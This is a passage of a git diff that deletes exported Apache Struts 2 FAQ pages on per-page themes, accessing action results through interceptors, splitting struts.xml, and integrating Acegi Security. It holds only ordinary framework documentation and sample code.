-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Can I change theme on a per-page basis</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="can-i-change-theme-on-a-per-page-basis.html">Can I change theme on a per-page basis</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Can I change theme on a per-page basis</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13824">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13824">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13824">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13824">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13824">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13824">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<p>The default theme is passed to the page through a <code>theme</code> variable. To change the theme for a page, use the <code>set</code> tag to change the <code>theme</code> variable. The variable can be changed using a static value or property.</p>
-
-<h2 id="CanIchangethemeonaper-pagebasis-StaticValue">Static Value</h2>
-
-<p>Change to the "simple" theme.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:set name="theme" value="'simple'" scope="page" /&gt;
-</pre>
-</div></div>
-
-<h2 id="CanIchangethemeonaper-pagebasis-Property">Property</h2>
-
-<p>Change to the theme name indicated by the <code>myTheme</code> property.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:set name="theme" value="%{myTheme}" scope="page" /&gt;
-</pre>
-</div></div>
-
-<hr>
-<p>See also <a shape="rect" href="selecting-themes.html">Selecting Themes</a></p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/can-we-access-an-actions-result.html b/content/docs/can-we-access-an-actions-result.html
deleted file mode 100644
index 95d5914..0000000
--- a/content/docs/can-we-access-an-actions-result.html
+++ /dev/null
@@ -1,213 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Can we access an Action's Result</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="can-we-access-an-actions-result.html">Can we access an Action's Result</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Can we access an Action's Result</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14306">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14306">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14306">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14306">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14306">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14306">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-
-<p>Yes, you can access the ResultConfig objects before the Action executes, and you can access the final Result object using a PreResultListener.</p>
-
-<h2 id="CanweaccessanAction'sResult-AccessingtheResultConfigObjects">Accessing the ResultConfig Objects</h2>
-
-<p>If you need to work with the set of ResultConfigs before the Action executes, you can use an Interceptor to process the Map returned by <code>getResults</code>.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public class MyInterceptor implements Interceptor {
-  // ...
-  public String intercept(ActionInvocation invocation) throws Exception {
-    Map resultsMap = invocation.getProxy().getConfig().getResults();
-
-      // do something with ResultConfig in map
-
-    return invocation.invoke();
-  }
-  // ...
-}
-</pre>
-</div></div>
-<p>If you are writing against Java 5, you could use a generic when obtain the map.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-Map&lt;String, ResultConfig&gt; resultsMap = invocation.getProxy().getConfig().getResults();
-</pre>
-</div></div>
-
-<h2 id="CanweaccessanAction'sResult-AddingaPreResultListener">Adding a PreResultListener</h2>
-
-<p>If you need to work with the final Result object before it is executed, you can use an Interceptor to register a PreResultListener. The code example creates a PreResultListener as an anonymous inner class.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public class MyInterceptor implements Interceptor {
-  // ...
-  public String intercept(ActionInvocation invocation) throws Exception {
-
-    invocation.addPreResultListener(new PreResultListener() {
-
-      public void beforeResult(ActionInvocation invocation, String resultCode) {
-        Map resultsMap = invocation.getProxy().getConfig().getResults();
-        ResultConfig finalResultConfig = resultsMap.get(resultCode);
-
-          // do something interesting with the 'to-be' executed result
-
-        }
-
-      });
-
-    return invocation.invoke();
-  }
-  // ...
-}
-</pre>
-</div></div>
-<p>If you are writing against Java 5, you could use a generic when obtain the map.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-Map&lt;String, ResultConfig&gt; resultsMap = invocation.getProxy().getConfig().getResults();
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/can-we-break-up-a-large-strutsxml-file-into-smaller-pieces.html b/content/docs/can-we-break-up-a-large-strutsxml-file-into-smaller-pieces.html
deleted file mode 100644
index 7d433a8..0000000
--- a/content/docs/can-we-break-up-a-large-strutsxml-file-into-smaller-pieces.html
+++ /dev/null
@@ -1,148 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Can we break up a large struts.xml file into smaller pieces</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="can-we-break-up-a-large-strutsxml-file-into-smaller-pieces.html">Can we break up a large struts.xml file into smaller pieces</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Can we break up a large struts.xml file into smaller pieces</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14120">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14120">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14120">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14120">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14120">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14120">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Yes, there are two complementary approaches. We can include other <code>struts.xml</code>-format files from a bootstrap <code>struts.xml</code> file, or we can package a <code>struts.xml</code> files in a JAR. Or both.</p>
-
-<h2 id="Canwebreakupalargestruts.xmlfileintosmallerpieces-ByInclude">By Include</h2>
-
-<p>See the <a shape="rect" href="include-configuration.html"><code>&lt;include&gt;</code> element documentation</a>.</p>
-
-<p>You can use <code>&lt;include&gt;</code> elements in your <code>struts.xml</code> interchangeably with <code>&lt;package&gt;</code> elements. The configuration objects will be loaded in the order of appearance. The framework reads the configuration from top to bottom and adds objects as they are referenced.</p>
-
-<h2 id="Canwebreakupalargestruts.xmlfileintosmallerpieces-ByJAR">By JAR</h2>
-
-<p>A "module" can be added to an application by placing a <code>struts.xml</code> and related classes into a JAR on the classpath. FreeMarker and Velocity templates can also be provided by JAR, making it possible to distribution a module in a single, self-contained JAR that is automatically configured on startup. </p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/can-we-use-acegi-security-with-the-framework.html b/content/docs/can-we-use-acegi-security-with-the-framework.html
deleted file mode 100644
index 6cc3089..0000000
--- a/content/docs/can-we-use-acegi-security-with-the-framework.html
+++ /dev/null
@@ -1,251 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Can we use Acegi Security with the framework</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="can-we-use-acegi-security-with-the-framework.html">Can we use Acegi Security with the framework</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Can we use Acegi Security with the framework</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14087">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14087">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14087">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14087">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14087">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14087">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<p>The following details a possible integration of Acegi Security with WebWork:-</p>
-
-<h3 id="CanweuseAcegiSecuritywiththeframework-Step1-DeclaringAuthzInterface">Step 1 - Declaring Authz Interface </h3>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-import org.acegisecurity.taglibs.velocity.Authz;
-public interface AuthzAware {
-        void setAuthz(Authz authz);
-}
-</pre>
-</div></div>
-
-<h3 id="CanweuseAcegiSecuritywiththeframework-Step2-ImplementingAuthzInterceptor">Step 2 - Implementing Authz Interceptor </h3>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-import org.acegisecurity.taglibs.velocity.Authz;
-import org.acegisecurity.taglibs.velocity.AuthzImpl;
-import package.api.AuthzAware;
- 
-import com.opensymphony.xwork.ActionInvocation;
-import com.opensymphony.xwork.interceptor.Interceptor;
- 
-public class AuthzInterceptor implements Interceptor {
-        public void destroy()
-        {}
- 
-        public void init()
-        {}
- 
-        public String intercept(ActionInvocation invocation)
-                throws Exception
-        {
-                if (invocation.getAction() instanceof AuthzAware) {
-                        Authz authz = new AuthzImpl();
- 
-                        AuthzAware authzAware = (AuthzAware)invocation.getAction();
-                        authzAware.setAuthz(authz);
-                }
- 
-                return invocation.invoke();
-        }
-}
-</pre>
-</div></div>
-
-<h3 id="CanweuseAcegiSecuritywiththeframework-Step3-MakingAuthzAwareaction">Step 3 - Making AuthzAware action </h3>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-import org.acegisecurity.taglibs.velocity.Authz;
-import package.api.AuthzAware;
-import com.opensymphony.xwork.ActionSupport;
- 
- 
-public class DashboardAction extends ActionSupport implements AuthzAware
-{
-        private Authz authz;
- 
-        public Authz getAuthz(){
-                return authz;
-        }
- 
-        public void setAuthz(Authz authz)
-        {
-                this.authz = authz;
-        }
- 
-        public String execute() throws Exception
-        {
-                return SUCCESS;
-        }
-}
-</pre>
-</div></div>
-
-<h3 id="CanweuseAcegiSecuritywiththeframework-Step4-Declaringinterceptor">Step 4 - Declaring interceptor </h3>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;interceptor name="authz" class="package.interceptor.AuthzInterceptor"/&gt;
-</pre>
-</div></div>
-
-<h3 id="CanweuseAcegiSecuritywiththeframework-Step5-Declaringaction">Step 5 - Declaring action</h3>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;action name="dashboard" class="package.action.DashboardAction"&gt;
-        &lt;interceptor-ref name="authz" /&gt;
-        &lt;result type="velocity" name="success"&gt;dashboard.vm&lt;/result&gt;
-&lt;/action&gt;
-</pre>
-</div></div>
-
-<h3 id="CanweuseAcegiSecuritywiththeframework-Step6-mplementingdashboard.vm">Step 6 - mplementing dashboard.vm </h3>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-Actualy you are logged as $authz.principal
-</pre>
-</div></div>
-
-<p>Contributed by Luca Marrocco.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/can-we-use-jstl-with-the-framework.html b/content/docs/can-we-use-jstl-with-the-framework.html
deleted file mode 100644
index a40f0af..0000000
--- a/content/docs/can-we-use-jstl-with-the-framework.html
+++ /dev/null
@@ -1,164 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
